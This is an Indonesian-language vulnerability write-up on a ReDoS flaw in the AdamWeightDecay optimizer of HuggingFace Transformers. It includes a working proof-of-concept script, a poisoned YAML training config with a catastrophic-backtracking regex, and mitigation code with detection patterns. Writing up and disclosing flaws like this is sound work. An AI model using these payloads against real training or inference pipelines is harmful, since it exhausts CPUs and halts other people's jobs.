Bagaimana saya mendapatkan CVE-2025-6921 di huggingface

Tingkat Keparahan: High | CVE Status: Dilaporkan 18 Juni 2025 | Komponen:
AdamWeightDecayOptimizer
Pendahuluan
Di balik kemudahan framework machine learning modern, tersembunyi celah keamanan yang sering luput dari perhatian. Salah satunya baru-baru ini ditemukan pada library HuggingFace Transformers — sebuah kerentanan Regular Expression Denial of Service (ReDoS) yang bersarang di dalam optimizer AdamWeightDecay.
Kerentanan ini bukan sekadar bug biasa. Dalam skenario yang tepat, seorang penyerang bisa membuat seluruh proses training atau inferensi model berhenti total, cukup dengan menyisipkan satu baris regex yang berbahaya.
Apa Itu ReDoS?
ReDoS (Regular Expression Denial of Service) adalah serangan yang memanfaatkan kelemahan pada mesin pemrosesan regex. Beberapa pola regex, ketika dicocokkan dengan input tertentu, menyebabkan catastrophic backtracking — kondisi di mana mesin regex mencoba jutaan hingga miliaran kemungkinan path sebelum menyimpulkan tidak ada kecocokan.
Hasilnya: satu CPU core terkunci pada 100% utilisasi, dan program praktis hang tanpa batas waktu.
Contoh Pola Berbahaya
a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b
Pola di atas tampak sederhana, namun ketika dicocokkan dengan string seperti "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" (tanpa b di akhir), mesin regex Python akan mengeksplorasi jumlah kombinasi yang eksponensial sebelum menyerah.
Lokasi Kerentanan
Kerentanan ada di method _do_use_weight_decay dalam class AdamWeightDecay, pada file optimizer HuggingFace Transformers.
pythondef _do_use_weight_decay(self, param_name): """Whether to use L2 weight decay for `param_name`.""" if self.weight_decay_rate == 0: return False if self._include_in_weight_decay: for r in self._include_in_weight_decay: # ⚠️ BARIS RENTAN: Regex 'r' yang berbahaya akan membuat # re.search hang saat dicocokkan dengan 'param_name' if re.search(r, param_name) is not None: return True if self._exclude_from_weight_decay: for r in self._exclude_from_weight_decay: # ⚠️ BARIS RENTAN: Path logika kedua juga terekspos if re.search(r, param_name) is not None: return False return True
Method ini dipanggil untuk setiap parameter model selama proses training, menjadikannya titik eksekusi yang sering dan krusial.
Jalur Masuk Penyerang
Pola regex berbahaya masuk melalui fungsi create_optimizer:
pythondef create_optimizer( init_lr, num_train_steps, num_warmup_steps, weight_decay_rate=0.0, include_in_weight_decay: Optional[list[str]] = None, # ← Titik injeksi # ... ): if weight_decay_rate > 0.0: optimizer = AdamWeightDecay( learning_rate=lr_schedule, weight_decay_rate=weight_decay_rate, include_in_weight_decay=include_in_weight_decay, # ← Diteruskan langsung ) return optimizer, lr_schedule
Parameter include_in_weight_decay dan exclude_from_weight_decay diterima tanpa validasi atau sanitasi apapun sebelum digunakan dalam re.search.
Proof of Concept (PoC)
Berikut adalah reproduksi minimal kerentanan ini:
python# poc_redos.py import tensorflow as tf import time from hf_optimizer import create_optimizer def run_poc(): # Regex berbahaya yang memicu catastrophic backtracking malicious_regex = "a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b" # Nama parameter yang akan memicu ReDoS (banyak 'a', tidak ada 'b') param_name = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" print(f"[*] Injecting malicious regex: '{malicious_regex}'") print(f"[*] Target parameter name: '{param_name}'") print("[!] Program akan hang di sini — periksa CPU usage Anda...") # Membuat optimizer dengan regex berbahaya optimizer, _ = create_optimizer( init_lr=1e-4, num_train_steps=100, num_warmup_steps=10, weight_decay_rate=0.01, include_in_weight_decay=[malicious_regex] # ← Injeksi terjadi di sini ) # Simulasi variabel model dan gradien model_variable = tf.Variable([1.0, 2.0], name=param_name) gradient = tf.constant([0.1, 0.1]) # Memicu kerentanan — apply_gradients memanggil _do_use_weight_decay start_time = time.time() optimizer.apply_gradients(zip([gradient], [model_variable])) print(f"[+] Selesai dalam {time.time() - start_time:.2f} detik") if __name__ == "__main__": run_poc()
Output yang diharapkan saat rentan:
[*] Injecting malicious regex: 'a?a?a?a?...b'
[*] Target parameter name: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
[!] Program akan hang di sini — periksa CPU usage Anda...
# ← Program tidak pernah sampai ke baris berikutnya
Saat eksekusi terhenti, satu core CPU akan tercatat berjalan di 100% utilisasi secara terus-menerus.
Analisis Dampak
Skenario Serangan Nyata
Dalam ekosistem ML modern, konfigurasi optimizer sering dibaca dari file eksternal:
yaml# config.yaml — file konfigurasi training yang bisa dikontrol penyerang optimizer: type: AdamWeightDecay weight_decay_rate: 0.01 include_in_weight_decay: - "a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b"
Jika training script membaca konfigurasi ini tanpa validasi, satu baris dalam YAML sudah cukup untuk melumpuhkan sistem.
Siapa yang Berisiko?
Konsekuensi
- CPU exhaustion — satu core terkunci 100% tanpa batas waktu
- Service unavailability — proses training atau inferensi terhenti total
- Cascading failure — jika satu worker hang, seluruh job training bisa gagal
- Resource cost — pada cloud infrastructure, biaya tetap berjalan meski sistem hang
Rekomendasi Mitigasi
1. Gunakan re.timeout atau regex Library dengan Timeout
pythonimport re import signal def safe_search(pattern, string, timeout=1): """Wrapper re.search dengan timeout.""" def handler(signum, frame): raise TimeoutError(f"Regex timeout: {pattern}") signal.signal(signal.SIGALRM, handler) signal.alarm(timeout) try: result = re.search(pattern, string) signal.alarm(0) return result except TimeoutError: return None
2. Validasi Pola Regex Sebelum Digunakan
pythonimport re def validate_regex(pattern: str) -> bool: """Tolak pola yang berpotensi menyebabkan ReDoS.""" # Deteksi pola berulang yang ambigu — tanda khas ReDoS dangerous_patterns = [ r'(\w+\?){10,}', # Banyak quantifier opsional berturut-turut r'(\w+\+){5,}', # Nested plus quantifiers r'\(\w+\)\*.*\1', # Backreference dengan star quantifier ] try: re.compile(pattern) # Pastikan sintaks valid except re.error: return False for dp in dangerous_patterns: if re.search(dp, pattern): return False return True
3. Gunakan Library re2 yang Aman dari ReDoS
python# re2 menggunakan finite automata — dijamin O(n) time complexity # pip install google-re2 import re2 # Ganti re.search dengan re2.search if re2.search(r, param_name) is not None: return True
Library re2 dari Google menggunakan algoritma berbasis finite automata yang tidak pernah mengalami catastrophic backtracking, dengan trade-off ketidaksupport-an beberapa fitur regex advanced seperti backreferences.
4. Whitelist Pendekatan
pythondef _do_use_weight_decay(self, param_name): if self.weight_decay_rate == 0: return False if self._include_in_weight_decay: for r in self._include_in_weight_decay: # Validasi sebelum digunakan if not self._is_safe_pattern(r): raise ValueError(f"Unsafe regex pattern detected: {r}") if re.search(r, param_name) is not None: return True # ... @staticmethod def _is_safe_pattern(pattern: str) -> bool: """Validasi pola regex aman dari ReDoS.""" max_length = 200 if len(pattern) > max_length: return False # Tambahkan validasi lain sesuai kebutuhan return True
Timeline
Kesimpulan
Kerentanan ReDoS pada AdamWeightDecay ini mengingatkan kita pada prinsip keamanan yang sering terlupakan dalam dunia ML: input dari pengguna tidak boleh dipercaya begitu saja, bahkan untuk parameter yang tampak tidak berbahaya seperti daftar nama layer.
Regex adalah alat yang powerful, namun dalam konteks sistem yang menerima input dari luar, ia bisa menjadi vektor serangan yang efektif. Solusinya tidak rumit — validasi input, gunakan library yang aman, dan terapkan timeout — namun membutuhkan kesadaran bahwa keamanan sistem ML bukan hanya soal model dan data, tapi juga soal infrastruktur dan kode yang menjalankannya.
Artikel ini ditulis berdasarkan laporan kerentanan yang diterima pada 18 Juni 2025. Informasi teknis disajikan untuk tujuan edukasi dan kesadaran keamanan.
Referensi: